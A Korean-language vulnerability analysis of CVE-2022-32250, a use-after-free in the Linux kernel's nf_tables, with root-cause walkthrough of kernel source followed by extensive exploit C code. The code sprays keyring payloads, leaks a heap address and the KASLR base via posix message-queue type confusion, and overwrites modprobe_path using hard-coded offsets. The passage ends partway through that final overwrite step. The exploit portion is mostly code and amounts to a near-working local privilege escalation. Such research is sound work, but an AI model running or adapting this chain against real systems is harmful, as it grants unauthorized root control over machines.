1. Overview
2. Background
3. Vulnerability
3-1. Root Cause
3-2. Conclusion
4. exploit
4-1. Kernel keyring (struct user_key_payload)
4-2. mqueue (struct posix_msg_tree_node)
4-3. Leak kernel heap address
4-4. Leak KASLR Base
4-5. Overwriting modporbe_path
5. Finish
Reference
해당 취약점은 Linux 커널의nf_tables
시스템에서 발생하는 취약점입니다. nf_tables
및 Netfilter
에 관한 더 자세한 내용은 아래에 글에서 확인할 수 있습니다.
CVE-2022-32250
취약점은 nf_tables
에서 set
에 대해 새로운 expr
를 할당하는 과정에서 발생합니다. set
에 expr
를 할당할 때 잘못된 플래그 검사 방식을 이용하기 때문에, 유효하지 않은 expr
가 담긴 set
를 할당하려고 시도할 경우, expr
는 해제되지만 set
는 해제되지 않게 됩니다. 결국 해제된 상태의 expr
를 그대로 담고 있는 Use After Free 취약점이 발생하게 됩니다.
nf_tables
에서의 set
는 key-value
저장소의 일종으로 expr
를 포함한 다양한 오브젝트를 저장할 수 있습니다. nft_lookup
은 set
를 조회하는 표현식입니다.
https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nf_tables_api.c#L5153
struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx,
const struct nft_set *set,
const struct nlattr *attr)
{
struct nft_expr *expr;
int err;
expr = nft_expr_init(ctx, attr);
if (IS_ERR(expr))
return expr;
err = -EOPNOTSUPP;
if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL))
goto err_set_elem_expr;
if (expr->ops->type->flags & NFT_EXPR_GC) {
if (set->flags & NFT_SET_TIMEOUT)
goto err_set_elem_expr;
if (!set->ops->gc_init)
goto err_set_elem_expr;
set->ops->gc_init(set);
}
return expr;
err_set_elem_expr:
nft_expr_destroy(ctx, expr);
return ERR_PTR(err);
}
nft_set_elem_expr_alloc
함수는NFT_MSG_NEWSET
->nf_tables_newset
함수에 의해 호출됩니다. (https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nf_tables_api.c#L7611)
nft_set_elem_expr_alloc
함수는 set
에 새로운 expr
오브젝트를 생성해서 할당합니다. 위 코드 자체에서 취약점을 확인할 수는 없지만, 이상한 부분이 존재합니다. 할당하려는 expr
의 NFT_EXPR_STATEFUL
플래그가 없을 경우 에러를 반환하는데, 이때 할당하려는 expr
의 플래그를 먼저 확인하는 것이 아닌, expr
오브젝트를 성공적으로 생성한 이후, 플래그를 확인하고NFT_EXPR_STATEFUL
이 아닐 경우 expr
오브젝트를 해제합니다.
Root Cause를 알아내기 위해서 해당 함수가 NFT_EXPR_STATEFUL
플래그가 없는 nft_lookup
expr
를 할당하려 한다고 가정하겠습니다.
https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nf_tables_api.c#L2696
static struct nft_expr *nft_expr_init(const struct nft_ctx *ctx,
const struct nlattr *nla)
{
struct nft_expr_info info;
struct nft_expr *expr;
struct module *owner;
int err;
err = nf_tables_expr_parse(ctx, nla, &info);
if (err < 0)
goto err1;
err = -ENOMEM;
expr = kzalloc(info.ops->size, GFP_KERNEL);
if (expr == NULL)
goto err2;
err = nf_tables_newexpr(ctx, &info, expr);
if (err < 0)
goto err3;
return expr;
err3:
kfree(expr);
err2:
owner = info.ops->type->owner;
if (info.ops->type->release_ops)
info.ops->type->release_ops(info.ops);
module_put(owner);
err1:
return ERR_PTR(err);
}
expr
오브젝트를 할당하는 nft_expr_init
함수를 살펴보면 nf_tables_expr_parse
함수를 통해 expr
의 정보를 가져온 후, kzalloc(info.ops->size, GFP_KERNEL);
으로 expr
오브젝트를 할당받고 nf_tables_newexpr
함수를 호출합니다.
위에서
nft_lookup
expr
를 할당한다고 가정했으므로,info.ops
는nft_lookup_ops
이고,expr
는 kmalloc-64로 할당됩니다. https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nft_lookup.c#L221
https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nf_tables_api.c#L2666
static int nf_tables_newexpr(const struct nft_ctx *ctx,
const struct nft_expr_info *info,
struct nft_expr *expr)
{
const struct nft_expr_ops *ops = info->ops;
int err;
expr->ops = ops;
if (ops->init) {
err = ops->init(ctx, expr, (const struct nlattr **)info->tb);
if (err < 0)
goto err1;
}
return 0;
err1:
expr->ops = NULL;
return err;
}
마찬가지로 nft_lookup
expr
를 할당한다고 가정했기에, nf_tables_newexpr
함수는 nft_lookup_init
함수를 호출하게 됩니다.
https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nft_lookup.c#L60
static int nft_lookup_init(const struct nft_ctx *ctx,
const struct nft_expr *expr,
const struct nlattr * const tb[])
{
struct nft_lookup *priv = nft_expr_priv(expr);
u8 genmask = nft_genmask_next(ctx->net);
struct nft_set *set;
u32 flags;
int err;
if (tb[NFTA_LOOKUP_SET] == NULL ||
tb[NFTA_LOOKUP_SREG] == NULL)
return -EINVAL;
set = nft_set_lookup_global(ctx->net, ctx->table, tb[NFTA_LOOKUP_SET],
tb[NFTA_LOOKUP_SET_ID], genmask);
if (IS_ERR(set))
return PTR_ERR(set);
err = nft_parse_register_load(tb[NFTA_LOOKUP_SREG], &priv->sreg,
set->klen);
if (err < 0)
return err;
if (tb[NFTA_LOOKUP_FLAGS]) {
flags = ntohl(nla_get_be32(tb[NFTA_LOOKUP_FLAGS]));
if (flags & ~NFT_LOOKUP_F_INV)
return -EINVAL;
if (flags & NFT_LOOKUP_F_INV) {
if (set->flags & NFT_SET_MAP)
return -EINVAL;
priv->invert = true;
}
}
if (tb[NFTA_LOOKUP_DREG] != NULL) {
if (priv->invert)
return -EINVAL;
if (!(set->flags & NFT_SET_MAP))
return -EINVAL;
err = nft_parse_register_store(ctx, tb[NFTA_LOOKUP_DREG],
&priv->dreg, NULL, set->dtype,
set->dlen);
if (err < 0)
return err;
} else if (set->flags & NFT_SET_MAP)
return -EINVAL;
priv->binding.flags = set->flags & NFT_SET_MAP;
err = nf_tables_bind_set(ctx, set, &priv->binding);
if (err < 0)
return err;
priv->set = set;
return 0;
}
nft_lookup_init
함수는nft_lookup
오브젝트를 초기화하고, nf_tables_bind_set
함수를 통해 set
와 expr
를(또는 expr
와 expr
를) Double Linked List로 연결합니다.
https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nf_tables_api.c#L4488
int nf_tables_bind_set(const struct nft_ctx *ctx, struct nft_set *set,
struct nft_set_binding *binding)
{
struct nft_set_binding *i;
struct nft_set_iter iter;
if (set->use == UINT_MAX)
return -EOVERFLOW;
if (!list_empty(&set->bindings) && nft_set_is_anonymous(set))
return -EBUSY;
if (binding->flags & NFT_SET_MAP) {
/* If the set is already bound to the same chain all
* jumps are already validated for that chain.
*/
list_for_each_entry(i, &set->bindings, list) {
if (i->flags & NFT_SET_MAP &&
i->chain == binding->chain)
goto bind;
}
iter.genmask = nft_genmask_next(ctx->net);
iter.skip = 0;
iter.count = 0;
iter.err = 0;
iter.fn = nf_tables_bind_check_setelem;
set->ops->walk(ctx, set, &iter);
if (iter.err < 0)
return iter.err;
}
bind:
binding->chain = ctx->chain;
list_add_tail_rcu(&binding->list, &set->bindings);
nft_set_trans_bind(ctx, set);
set->use++;
return 0;
}
nf_tables_bind_set
함수는 set->bindings
리스트를 순회하여 해당 set
에 이미 연결된 expr
가 있는지 체크하고 만약 있다면, 새로 할당된 expr
를 이미 set
와 연결된 expr
와 연결합니다. set
가 비어있다면, set
와 새로 할당될 expr
를 연결합니다.
따라서 위와 같이 서로 바인딩되어 있습니다.
// https://elixir.bootlin.com/linux/v5.12/source/include/net/netfilter/nf_tables.h#L317
struct nft_expr {
const struct nft_expr_ops *ops;
unsigned char data[]
__attribute__((aligned(__alignof__(u64))));
};
// https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nft_lookup.c#L18
struct nft_lookup {
struct nft_set *set;
u8 sreg;
u8 dreg;
bool invert;
struct nft_set_binding binding;
};
nft_expr
와 nft_lookup
구조체는 위와 같습니다. nft_expr->data
에 nft_lookup
구조체가 이어져있고, nft_lookup->binding
구조체가 set
또는 다른 expr
와 연결된 Double Linked List 입니다.
https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nf_tables_api.c#L5153
struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx,
const struct nft_set *set,
const struct nlattr *attr)
{
struct nft_expr *expr;
int err;
expr = nft_expr_init(ctx, attr);
...
err = -EOPNOTSUPP;
if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL))
goto err_set_elem_expr;
...
err_set_elem_expr:
nft_expr_destroy(ctx, expr);
return ERR_PTR(err);
}
다시 nft_set_elem_expr_alloc
함수로 돌아오면, expr
할당 이후, NFT_EXPR_STATEFUL
플래그 검사를 하고, 유효하지 않은 expr
라면 nft_expr_destroy
함수를 통해 해당 expr
를 해제합니다.
https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nf_tables_api.c#L2748
void nft_expr_destroy(const struct nft_ctx *ctx, struct nft_expr *expr)
{
nf_tables_expr_destroy(ctx, expr);
kfree(expr);
}
nft_expr_destroy
함수는 nf_tables_expr_destroy
함수를 실행한 후, kfree
함수로 expr
오브젝트를 해제합니다.
https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nf_tables_api.c#L2686
static void nf_tables_expr_destroy(const struct nft_ctx *ctx,
struct nft_expr *expr)
{
const struct nft_expr_type *type = expr->ops->type;
if (expr->ops->destroy)
expr->ops->destroy(ctx, expr);
module_put(type->owner);
}
https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nft_lookup.c#L138
static void nft_lookup_destroy(const struct nft_ctx *ctx,
const struct nft_expr *expr)
{
struct nft_lookup *priv = nft_expr_priv(expr);
nf_tables_destroy_set(ctx, priv->set);
}
https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nf_tables_api.c#L4562
void nf_tables_destroy_set(const struct nft_ctx *ctx, struct nft_set *set)
{
if (list_empty(&set->bindings) && nft_set_is_anonymous(set))
nft_set_destroy(ctx, set);
}
nf_tables_expr_destroy -> nft_lookup_destroy -> nf_tables_destroy_set
함수는 최종적으로 expr
와 연결된 set
를 파괴합니다. 이때 nf_tables_destroy_set
함수를 보면, 큰 문제가 있다는 사실을 알 수 있습니다. if (list_empty(&set->bindings) && nft_set_is_anonymous(set))
조건문을 만족할때만 set
가 해제되는데, 위에서 nf_tables_bind_set
함수에 의해 set->bindings
에 expr
가 연결되어 있기 때문에 set
는 절대 해제가 되지 않습니다.
하지만 여전히 nft_expr_destroy
함수에서는 kfree
를 통해 expr
오브젝트를 해제하기 때문에, 해제된 expr
오브젝트의 주소는 set->bindings
에 남게되고 Use After Free 취약점이 발생하게 됩니다.
nft_lookup
표현식은 다른set
를 조회하는 표현식입니다. 따라서 PoC에서도 알 수 있듯,nft_lookup
표현식의 인자로 주어질 또 다른set
가 하나 더 필요합니다.
결론적으로, NFT_EXPR_STATEFUL
플래그가 없는 nft_lookup
expr
를 set
에 할당하려고 시도 할 경우, expr
는 즉시 해제되지만 set
는 파괴되지 않기 때문에 set->bindings
에 해제된 nft_expr(+nft_lookup)
오브젝트가 남게 됩니다. 위에서 분석했듯이, nf_tables_bind_set
함수는 set
내에 이미 다른 expr
가 존재할 경우 새로운 expr
를 기존 expr
에 연결합니다.
즉, CVE-2022-32250
취약점을 통해 해제된 kmalloc-64
청크 +0x18(->bindings.next
) 오프셋에 또다른 expr
의 주소를 덮어쓰는 것이 가능합니다. 또한 그 expr
역시 유효하지 않은 expr
일 경우 위 그림과 같이 즉시 해제되어, 리스트로 연결된 두개의 UAF 청크를 만들 수 있습니다. Linux Kernel에 존재하는 여러 구조체 중 +0x18 오프셋 포인터에 접근하는 kmalloc-64 크기의 구조체를 악용하면 유용한 프리미티브를 만들 수 있습니다.
CVE-2022-32250
취약점을 이용해 최종적으로 권한 상승을 하기 위해서 user_key_payload
와 posix_msg_tree_node
구조체를 악용할 것입니다. 커널 익스플로잇에 주로 사용되는 msg_msg
구조체의 경우, +0x18
오프셋에 접근할 수 없는데다가, 5.15
버전의 커널부터는 msg_msg
구조체가 GFP_KERNEL_ACCOUNT
플래그로 할당되기 때문에 일반적인 방법으로는 GFP_KERNEL
플래그로 할당되는 nft_expr(+nft_lookup)
청크와 경합되게 만들 수 없습니다.
// https://elixir.bootlin.com/linux/v5.12/source/include/keys/user-type.h#L27
struct user_key_payload {
struct rcu_head rcu;
unsigned short datalen;
char data[] __aligned(__alignof__(u64));
};
// https://elixir.bootlin.com/linux/v5.12/source/include/linux/types.h#L224
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head
Keyring
은 Linux Kernel에서 암호화 키, 인증 토큰, 기타 민감한 데이터를 안전하게 저장하고 관리하는 데 사용되는 하위 시스템입니다. sys_add_key
시스템 콜을 통해 새로운 키를 추가하고, sys_keyctl
시스템 콜을 통해 임의의 키와 상호작용할 수 있습니다. 우리는 해당 Keyring
시스템에서 사용되는 user_key_payload
를 익스플로잇에 악용할 것입니다. user_key_payload
구조체를 보면 +0x18 오프셋에 data
멤버 변수가 존재합니다. 따라서 user_key_payload
구조체와 해제된 nft_expr(+nft_lookup)
청크를 경합시킨다면, user_key_payload->data
에 대한 읽기 / 쓰기를 통해 nft_lookup->binding
의 값을 읽거나 덮어쓸 수 있습니다.
https://elixir.bootlin.com/linux/v5.12/source/security/keys/keyctl.c#L74
int user_preparse(struct key_preparsed_payload *prep)
{
struct user_key_payload *upayload;
size_t datalen = prep->datalen;
if (datalen <= 0 || datalen > 32767 || !prep->data)
return -EINVAL;
upayload = kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL);
if (!upayload)
return -ENOMEM;
/* attach the data */
prep->quotalen = datalen;
prep->payload.data[0] = upayload;
upayload->datalen = datalen;
memcpy(upayload->data, prep->data, datalen);
return 0;
}
user_key_payload
구조체는 add_key(syscall) -> key_create_or_update -> index_key.type->preparse()
에서 호출되는 user_preparse
함수에 의해 할당됩니다. 함수를 살펴보면, 할당 이후 user_key_payload->data
멤버 변수에 유저로부터 받은 prep->data
값을 복사하고 있습니다. 즉, 해당 함수를 이용해서 nft_lookup->binding
의 값을 덮어쓸 수 있습니다.
typedef int32_t key_serial_t;
static inline key_serial_t sys_add_key(const char *type, const char *desc, const void *payload, size_t plen, int ringid)
{
return syscall(__NR_add_key, type, desc, payload, plen, ringid);
}
user_preparse
함수는 위와 같은 sys_add_key
시스템 콜을 통해 트리거할 수 있습니다.
https://elixir.bootlin.com/linux/v5.12/source/security/keys/keyctl.c#L1869
SYSCALL_DEFINE5(keyctl, int, option, unsigned long, arg2, unsigned long, arg3,
unsigned long, arg4, unsigned long, arg5)
{
switch (option) {
...
case KEYCTL_READ:
return keyctl_read_key((key_serial_t) arg2,
(char __user *) arg3,
(size_t) arg4);
...
}
또한 sys_keyctl
시스템 콜을 이용하면 user_key_payload->data
의 값을 읽을 수도 있습니다.
static inline key_serial_t sys_keyctl(int cmd, ...)
{
va_list ap;
long arg2, arg3, arg4, arg5;
va_start(ap, cmd);
arg2 = va_arg(ap, long);
arg3 = va_arg(ap, long);
arg4 = va_arg(ap, long);
arg5 = va_arg(ap, long);
va_end(ap);
return syscall(__NR_keyctl, cmd, arg2, arg3, arg4, arg5);
}
// sys_keyctl(KEYCTL_READ, key_id, buffer, sizeof(buffer));
keyctl_read_key
함수는 sys_keyctl
시스템 콜에 인자로 KEYCTL_READ
를 주면 트리거할 수 있습니다.
// https://elixir.bootlin.com/linux/v5.12/source/ipc/mqueue.c#L60
struct posix_msg_tree_node {
struct rb_node rb_node;
struct list_head msg_list;
int priority;
};
// https://elixir.bootlin.com/linux/v5.12/source/include/linux/msg.h#L9
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
mqueue
는 POSIX Message Queue를 구현한 Linux Kernel의 시스템입니다. 흔히 프로세스 간 통신(IPC)를 위해 사용됩니다. 해당 시스템에서 사용하는 posix_msg_tree_node
구조체 역시 커널 익스플로잇에 이용할 수 있습니다. 해당 구조체의 +0x18 오프셋은 posix_msg_tree_node->list_head.next
입니다. 위에서 분석했듯, CVE-2022-32250
취약점을 통해 해제된 청크의 +0x18 오프셋에 또 다른 nft_expr(+nft_lookup)
오브젝트의 Dangling Pointer를 덮어쓸 수 있습니다. posix_msg_tree_node->msg_list
멤버변수는 msg_msg
구조체를 담고있는 Linked list 입니다.
따라서, posix_msg_tree_node
구조체를 이용하면 해제된 nft_expr(+nft_lookup)
오브젝트를 msg_msg
구조체로 Type Confusion을 일으킬 수 있습니다. 이어서 해제된 nft_expr(+nft_lookup)
오브젝트를 user_key_payload
구조체와 경합시키면, msg_msg
오브젝트를 덮어쓸 수 있습니다. 더 자세한 익스플로잇은 아래에서 확인할 수 있습니다.
// open queue
struct mq_attr attr;
attr.mq_flags = 0;
attr.mq_maxmsg = MQ_MAX_COUNT;
attr.mq_msgsize = MQ_SIZE;
attr.mq_curmsgs = 0;
mqd_t mq = mq_open(queue_name, O_CREAT | O_RDWR, 0644, &attr);
// send msg
struct timespec ts;
char buffer[MQ_SIZE] = {0, };
if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
perror("clock_gettime");
exit(1);
}
memcpy(buffer, "test", 4);
mq_timedsend(mq, buffer, MQ_SIZE, 0, &ts);
// recv msg
struct timespec ts;
char buffer[MQ_SIZE] = {0, };
if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
perror("clock_gettime");
exit(1);
}
mq_timedreceive(mq, buffer, MQ_SIZE, NULL, &ts);
위와 같은 코드로 do_mq_timedsend
시스템 콜을 트리거하여, posix_msg_tree_node
오브젝트를 할당할 수 있고, do_mq_timedreceive
시스템 콜을 통해 posix_msg_tree_node
구조체에 연결된 msg_msg
오브젝트를 읽을 수 있습니다.
posix_msg_tree_node
구조체를 이용하기 위해서는 msg_msg
구조체에 덮어쓸 메타데이터가 필요합니다. 따라서 user_key_payload
구조체만을 이용해서 먼저 커널의 Heap 영역 주소를 유출해야합니다.
우리는 취약점을 이용해서 해제된 nft_expr(+nft_lookup)
오브젝트와 user_key_payload
오브젝트를 경합시킬 수 있고, 또한 취약점을 한번 더 트리거함으로써 nft_lookup->binding.next
에 또다른 nft_expr(+nft_lookup)
오브젝트의 주소를 덮어쓸 수 있습니다. 이를 이용하면, 위에 그림처럼 user_key_payload->data
에 Heap 영역 주소를 덮어쓸 수 있습니다. 이후 KEYCTL_READ
를 이용해 해당 키를 읽으면 성공적으로 Heap
영역 주소를 유출할 수 있습니다.
#define KEY_PAYLOAD_SIZE 40
#define KEY_SPRAY_COUNT 90
//uint32_t key_count = 0;
key_serial_t* spray_user_key_payload(int start, int end){
key_serial_t *keys = calloc(end-start, sizeof(key_serial_t));
char payload[KEY_PAYLOAD_SIZE] = {0, };
for(int i=start; i<end; i++){
snprintf(payload, KEY_PAYLOAD_SIZE, "payload-%d", i);
keys[i] = sys_add_key("user", payload, payload, KEY_PAYLOAD_SIZE, KEY_SPEC_USER_KEYRING);
if (keys[i] == -1)
err(1, "[-] failed key spraying");
}
printf("[+] sprayed user_key_payload\n");
return keys;
}
int leak_heap_addr_and_get_uaf_keyid(key_serial_t *keys, uint64_t *kheap){
int ret = 0;
char buffer[KEY_PAYLOAD_SIZE] = {0, };
for(int i=0; i<KEY_SPRAY_COUNT; i++){
ret = sys_keyctl(KEYCTL_READ, keys[i], buffer, sizeof(buffer));
if (ret == -1)
err(1, "[-] failed key read");
//printf("[*] kheap = 0x%lx\n", *((uint64_t*)buffer));
if((uint8_t)buffer[7] == 0xff){
*kheap = *((uint64_t*)buffer);
return i;
}
}
err(1, "[-] failed leak kernel heap address");
}
void revoke_all_sprayed_keys(key_serial_t *keys, int start, int end){
int c = 0;
for(int i=start; i<end; i++){
if(keys[c]!=0)
revoke_key(keys[c]);
c++;
}
printf("[+] revoked all sprayed keys\n");
}
void unlink_all_sprayed_keys(key_serial_t *keys, int start, int end){
int c = 0;
for(int i=start; i<end; i++){
if(keys[c]!=0)
unlink_key(keys[c]);
c++;
}
printf("[+] unlinked all sprayed keys\n");
}
printf("\n\n============================== [ 1. Leaking Kernel Heap Address ] ==============================\n");
netfilter_new_table(nl, "table1");
netfilter_new_stable_set(nl, "table1", "set_stable1");
netfilter_new_uaf_set(nl, "table1", "uaf_set1", "set_stable1");
key_serial_t *spray_keys = spray_user_key_payload(0, KEY_SPRAY_COUNT);
netfilter_new_uaf_set(nl, "table1", "uaf_set1", "set_stable1");
uint64_t kheap = 0;
int keyid = leak_heap_addr_and_get_uaf_keyid(spray_keys, &kheap);
printf("[*] kheap = 0x%lx (keyid = %d)\n", kheap, keyid);
revoke_all_sprayed_keys(spray_keys, 0, KEY_SPRAY_COUNT);
unlink_all_sprayed_keys(spray_keys, 0, KEY_SPRAY_COUNT);
KEYCTL_REVOKE
, KEYCTL_UNLINK
는 각각 user_key_payload->rcu
에 해제 함수를 등록하고 최종적으로 keyring
에서 제거하는 역할을 합니다. keyring
에는 key
를 최대 200개 밖에 추가하지 못하기 때문에 다음 익스플로잇에서 key
를 이용하기 위해서 전부 해제해야합니다.
위에서 Heap 주소를 유출할때 사용한 방법과 동일하게, posix_msg_tree_node
오브젝트와 해제된 nft_expr(+nft_lookup)
오브젝트를 경합시킨 후, 취약점을 한번 더 트리거하면, posix_msg_tree_node->msg_list
멤버 변수를 또다른 해제된 nft_expr(+nft_lookup)
오브젝트로 덮어쓸 수 있습니다. 이후 해제된 nft_expr(+nft_lookup)
오브젝트를 다시 user_key_payload
와 경합시키면, 우리는 user_key_payload
오브젝트를 통해 msg_msg
오브젝트의 메타데이터를 조작할 수 있습니다. 또한 msg_msg
오브젝트의 크기는 msg_msg->m_ts
의 의해서 결정되기 때문에 메모리 경계를 넘어서 스프레이 된 또다른 user_key_payload
오브젝트에 접근할 수 있습니다.
이를 이용해서, user_key_payload->rcu.func
에 담긴 함수 주소를 유출하여 KASLR를 우회할 수 있습니다.
이때 몇가지 주의해야할 점이 있습니다.
do_mq_timedreceive
시스템 콜을 통해 posix_msg_tree_node->msg_list.next(msg_msg)->data[]
를 읽을때 커널 패닉이 일어나지 않게 하기 위해서는 경합된 msg_msg
오브젝트에 아래와 같은 메타데이터를 덮어써줘야 합니다.
msg_list.next
,msg_list.prev
,*security
: 임의의 Heap 주소 (위에서 유출했던 Heap 주소 이용)
m_ts
:msg_msg
구조체의 데이터 사이즈
m_type
: 아무 값 8바이트
user_key_payload->rcu.next
, user_key_payload->rcu.func
의 값을 기본적으로 NULL 입니다. 따라서 do_mq_timedreceive
시스템 콜을 실행하기 직전 KEYCTL_REVOKE
를 통해서 스프레이 된 함수를 해제하려고 시도함으로써, user_key_payload->rcu.func
에 free callback 함수가 등록되게 만들어야합니다.
RCU는 Read-Copy-Update의 약자로, 멀티스레드 환경에서의 Race Condition을 방지하기 위해 오브젝트를 즉시 해제 하지 않고 free callback 함수를 등록하여 유예 기간(Grace Period)을 줌으로써 다른 스레드의 Read 동작 중 오브젝트가 해제되는 상황을 방지합니다.
key_serial_t *spray_fake_obj_keys(uint64_t addr1, uint64_t addr2, int start, int end){
key_serial_t *keys = calloc(end-start, sizeof(key_serial_t));
char payload[KEY_PAYLOAD_SIZE] = {0, };
char desc[KEY_PAYLOAD_SIZE] = {0, };
uint64_t m_ts = 0x28;
memcpy(payload,(char*)(&addr1),0x8); // m_list.next
memcpy(payload+0x8,(char*)(&addr2),0x8); // m_list.prev
memcpy(payload+0x10,"AAAAAAAA",0x8); // m_type
memcpy(payload+0x18,(char*)(&m_ts),0x8); // m_ts
int c = 0;
for(int i=start; i<end; i++){
snprintf(desc, KEY_PAYLOAD_SIZE, "payload-%d-fake", i);
keys[c] = sys_add_key("user", desc, payload, KEY_PAYLOAD_SIZE-1, KEY_SPEC_USER_KEYRING);
if (keys[c] == -1)
err(1, "[-] failed key spraying");
c++;
}
printf("[+] sprayed fake obj user_key_payload\n");
return keys;
}
#define MQ_MAX_COUNT 10
#define MQ_COUNT 1
#define MQ_SIZE 24
mqd_t sys_mq_open(char *queue_name){
struct mq_attr attr;
attr.mq_flags = 0;
attr.mq_maxmsg = MQ_MAX_COUNT;
attr.mq_msgsize = MQ_SIZE;
attr.mq_curmsgs = 0;
// 메시지 큐 열기
mqd_t mq = mq_open(queue_name, O_CREAT | O_RDWR, 0644, &attr);
if (mq == (mqd_t)-1) {
err(1, "[-] failed mq_open");
}
printf("[+] mq_open : %s\n", queue_name);
return mq;
}
void create_fake_obj_posix_msg_tree_node(mqd_t mq){
struct timespec ts;
char buffer[MQ_SIZE] = {0, };
if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
perror("clock_gettime");
exit(1);
}
memcpy(buffer, "test", 4);
if (mq_timedsend(mq, buffer, MQ_SIZE, 0, &ts) == -1){
err(1, "[-] failed mq_timedsend");
}
printf("[+] nft_expr(+nft_lookup) <-> posix_msg_tree_node\n");
}
uint64_t leak_kaslr_base_by_read_mq(mqd_t mq){
struct timespec ts;
char buffer[1024] = {0, };
if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
perror("clock_gettime");
exit(1);
}
ssize_t bytes_read = mq_timedreceive(mq, buffer, MQ_SIZE, NULL, &ts);
if (bytes_read == -1)
err(1, "[-] failed mq_timedreceive");
hexdump(buffer,0x20);
if((uint8_t)buffer[7] == 0xff){
return *((uint64_t*)buffer);
} else {
err(1, "[-] failed leak kaslr");
}
}
printf("\n\n============================== [ 0. Preapare Exploiting ] ==============================\n");
...
mqd_t mq1 = sys_mq_open("/queue-leak");
mqd_t mq2 = sys_mq_open("/queue-overwrite");
mqd_t mq3 = sys_mq_open("/queue-overwrite3");
...
printf("\n\n============================== [ 2. Leaking KASLR Base Address ] ==============================\n");
netfilter_new_table(nl, "table2");
netfilter_new_stable_set(nl, "table2", "set_stable2");
netfilter_new_uaf_set(nl, "table2", "uaf_set2", "set_stable2");
create_fake_obj_posix_msg_tree_node(mq1);
key_serial_t *spray_keys2 = spray_user_key_payload(0, KEY_SPRAY_COUNT);
netfilter_new_uaf_set(nl, "table2", "uaf_set2", "set_stable2");
key_serial_t *fake_obj_keys = spray_fake_obj_keys(kheap, kheap, 0, KEY_SPRAY_COUNT);
fake_obj_keys = spray_fake_obj_keys(kheap, kheap, 0, KEY_SPRAY_COUNT);
revoke_all_sprayed_keys(spray_keys2, 0, KEY_SPRAY_COUNT);
uint64_t kernel_base = leak_kaslr_base_by_read_mq(mq1) - 0x373330;
printf("[*] Kernel Base = 0x%lx\n", kernel_base);
revoke_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);
unlink_all_sprayed_keys(spray_keys2, 0, KEY_SPRAY_COUNT);
unlink_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);
https://elixir.bootlin.com/linux/v5.12/source/ipc/mqueue.c#L249
static inline struct msg_msg *msg_get(struct mqueue_inode_info *info)
{
struct rb_node *parent = NULL;
struct posix_msg_tree_node *leaf;
struct msg_msg *msg;
...
msg = list_first_entry(&leaf->msg_list,
struct msg_msg, m_list);
list_del(&msg->m_list);
...
return msg;
}
https://elixir.bootlin.com/linux/v5.12/source/ipc/mqueue.c#L249
static inline void
__list_del(struct list_head *prev, struct list_head *next)
{
next->prev = prev;
prev->next = next;
}
마찬가지로 posix_msg_tree_node
오브젝트를 통한 msg_msg
, user_key_payload
경합을 이용하면, 임의의 메모리쓰기 역시 가능합니다. do_mq_timedreceive
시스템 콜은 msg_msg
오브젝트를 읽기 위해 msg_get
함수를 호출하는데, msg_get
함수는 __list_del
함수를 통해 msg_msg
오브젝트를 unlink 합니다.
이 과정에서, next->prev = prev
, prev->next = next
이와 같은 메모리 쓰기를 하는데, 우리는 msg_msg
, user_key_payload
경합을 통해서 msg_msg
의 next
, prev
메타데이터를 조작할 수 있습니다. 이때, next
에는 덮어쓰여질 대상 주소를, prev
에는 덮어써질 값을 넣으면 임의의 메모리 쓰기를 할 수 있습니다.
주의해야할 점은 prev
에도 정상적인 메모리 주소가 들어가야하기 때문에, (커넣 힙 주소 & 0xffffffffffff0000) + 덮어쓰고 싶은 값
이와 같은 주소를 넣어 2바이트 만큼 원하는 값으로 덮어쓸 수 있습니다. 여러번 트리거할 수 있기 때문에, /sbin/modprobe
를 /tmp/????\xff\xffobe
로 덮어서 성공적으로 modporbe_path
를 조작할 수 있습니다.
printf("\n\n============================== [ 3. Overwriting modporbe_path ] ==============================\n");
uint64_t modprobe_path = kernel_base + 0x144dac0;
printf("[*] modprobe_path = 0x%lx\n", modprobe_path);
netfilter_new_table(nl, "table3");
netfilter_new_stable_set(nl, "table3", "set_stable3");
netfilter_new_uaf_set(nl, "table3", "uaf_set3", "set_stable3");
create_fake_obj_posix_msg_tree_node(mq2);
netfilter_new_uaf_set(nl, "table3", "uaf_set3", "set_stable3");
uint64_t modprobe_name = (modprobe_path & 0xffffffffffff0000) + 0x6d74;
fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+1, modprobe_name, 0, KEY_SPRAY_COUNT);
fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+1, modprobe_name, 0, KEY_SPRAY_COUNT);
just_read_mq(mq2);
revoke_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);
unlink_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);
netfilter_new_table(nl, "table4");
netfilter_new_stable_set(nl, "table4", "set_stable4");
netfilter_new_uaf_set(nl, "table4", "uaf_set4", "set_stable4");
create_fake_obj_posix_msg_tree_node(mq3);
netfilter_new_uaf_set(nl, "table4", "uaf_set4", "set_stable4");
modprobe_name = (modprobe_path & 0xffffffffffff0000) + 0x2f70;
